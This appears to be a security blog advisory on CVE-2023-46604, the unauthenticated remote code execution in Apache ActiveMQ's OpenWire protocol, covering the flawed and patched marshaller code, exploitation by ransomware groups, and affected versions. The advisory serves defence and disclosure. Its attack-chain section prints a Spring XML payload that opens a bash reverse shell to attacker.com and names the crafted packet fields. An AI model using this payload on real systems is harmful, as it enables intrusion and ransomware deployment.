Feb 26, 2026·6 min read·5 visits
Unauthenticated Remote Code Execution (RCE) in Apache ActiveMQ versions < 5.18.3 via the OpenWire protocol (port 61616). Attackers send a crafted packet specifying a Spring framework class instead of an exception, triggering the download and execution of a malicious XML configuration file. Patch immediately.
Apache ActiveMQ, the ubiquitous message broker found in the plumbing of countless enterprise architectures, contains a critical deserialization vulnerability in its OpenWire protocol implementation. By manipulating the serialized class types used during exception handling, an unauthenticated, remote attacker can force the broker (or client) to instantiate arbitrary classes from the classpath. This flaw, assigned a maximum CVSS score of 10.0, has been weaponized by ransomware groups like HelloKitty to achieve full system compromise.
ActiveMQ is the unsung hero—or perhaps the silent victim—of enterprise infrastructure. It’s the message broker that ensures your billing service talks to your shipping service. It sits quietly in the background, shuffling data packets via the OpenWire protocol, usually on TCP port 61616. Because it's "infrastructure," it often gets ignored during patch cycles. That is a mistake.
This vulnerability (CVE-2023-46604) is a classic example of why "internal" protocols shouldn't be trusted blindly. The OpenWire protocol allows the exchange of complex objects, including exceptions. When a broker throws a tantrum, it needs to tell the client what went wrong. It does this by marshalling a Throwable object across the wire.
Here is the kicker: The code responsible for reading that exception off the wire didn't actually check if the thing it was building was an exception. It was just a generic object factory waiting for a command. And as any security researcher knows, if you give us an object factory and a classpath full of juicy libraries, we aren't going to build NullPointerExceptions. We're going to build shells.
The vulnerability lies deep within the BaseDataStreamMarshaller class. This class is responsible for serializing and deserializing data types for the OpenWire protocol. Specifically, the method createThrowable was designed to reconstruct an exception object sent by a peer.
The logic was pitifully simple:
String called className from the wire.String called message from the wire.Class.forName(className) to find the class.String.Do you see the validation step? Neither do I. There wasn't one. The code blindly assumed that the className provided would be a subclass of java.lang.Throwable.
This is a textbook deserialization gadget vector. The application is effectively saying, "Tell me what class to run, and I'll run it with your input string." In a Java environment, where the classpath is often cluttered with frameworks like Spring, this is equivalent to handing the attacker a loaded gun.
Let's look at the vulnerable code in BaseDataStreamMarshaller. It's almost elegant in its insecurity.
Vulnerable Implementation:
private Throwable createThrowable(String className, String message) {
try {
// Step 1: Load whatever class the attacker asks for
Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());
// Step 2: Find a string constructor
Constructor constructor = clazz.getConstructor(new Class[] {String.class});
// Step 3: BOOM. Execution.
return (Throwable)constructor.newInstance(new Object[] {message});
} catch (Throwable e) {
return e;
}
}The fix, introduced in versions like 5.18.3, is a slap on the wrist for the marshaller. The developers added a validation utility OpenWireUtil.validateIsThrowable(clazz).
Patched Implementation:
private Throwable createThrowable(String className, String message) {
try {
Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());
// The Bouncer: Checks if the class is actually a Throwable
OpenWireUtil.validateIsThrowable(clazz);
Constructor constructor = clazz.getConstructor(new Class[] {String.class});
return (Throwable)constructor.newInstance(new Object[] {message});
} catch (Throwable e) {
return e;
}
}The validateIsThrowable method essentially runs Throwable.class.isAssignableFrom(clazz). If you try to instantiate a Spring context, the check fails, and the exploit chain dies. It is a simple check, but its absence caused millions of dollars in ransomware damages.
So, we can instantiate any class with a String constructor. How do we turn that into RCE? Enter the ClassPathXmlApplicationContext from the Spring Framework, which ships with ActiveMQ.
This class has a constructor that takes a String: the URL of an XML configuration file. When instantiated, it automatically fetches that XML file and parses it to configure the application context. If that XML file defines a bean that executes a command, the game is over.
The Attack Chain:
Setup: Attacker hosts a file named poc.xml on a controlled HTTP server.
Payload: The XML contains a bean definition using ProcessBuilder:
<beans>
<bean id="pwn" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>bash -i >& /dev/tcp/attacker.com/4444 0>&1</value>
</list>
</constructor-arg>
</bean>
</beans>Delivery: The attacker connects to port 61616 and sends a crafted OpenWire ExceptionResponse.
ClassName: org.springframework.context.support.ClassPathXmlApplicationContextMessage: http://attacker.com/poc.xmlExecution: ActiveMQ receives the packet, passes the URL to the Spring class constructor, which fetches the XML, hydrates the bean, and spawns the reverse shell. The best part? This happens before authentication is enforced for the session in many configurations.
This isn't a theoretical "maybe someday" vulnerability. It is actively burning down networks. Because ActiveMQ often runs with high privileges (sometimes root, often a dedicated user with write access to critical directories), the RCE is devastating.
The HelloKitty ransomware group (and subsequently TellYouThePass) immediately weaponized this. They didn't just pop shells; they used msiexec to pull down ransomware binaries and encrypt entire clusters.
Imagine this scenario: You have an internal message broker. You think it's safe because it's behind the firewall. But one developer exposed port 61616 for debugging, or an attacker pivoted from a compromised web server. Within seconds, the broker itself becomes the distribution point for malware, encrypting the very database it was supposed to serve. With a CVSS of 10.0, this is as bad as it gets.
If you are running ActiveMQ, stop reading and check your version. If you are on anything older than 5.15.16, 5.16.7, 5.17.6, or 5.18.3, you are vulnerable.
Immediate Steps:
ClassPathXmlApplicationContext cannot reach external networks if possible, though this is harder to enforce at the JVM level.For those who can't patch today: You might be able to mitigate this by stripping the spring-context JARs from the ActiveMQ classpath if you aren't using them, but that is a risky surgery that might break legitimate functionality. Just patch the software.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Apache ActiveMQ Apache | < 5.15.16 | 5.15.16 |
Apache ActiveMQ Apache | 5.16.0 - 5.16.6 | 5.16.7 |
Apache ActiveMQ Apache | 5.17.0 - 5.17.5 | 5.17.6 |
Apache ActiveMQ Apache | 5.18.0 - 5.18.2 | 5.18.3 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-502 |
| Attack Vector | Network (OpenWire TCP) |
| CVSS | 10.0 (Critical) |
| EPSS Score | 94.44% |
| Exploit Status | Active / Weaponized |
| KEV Listed | Yes |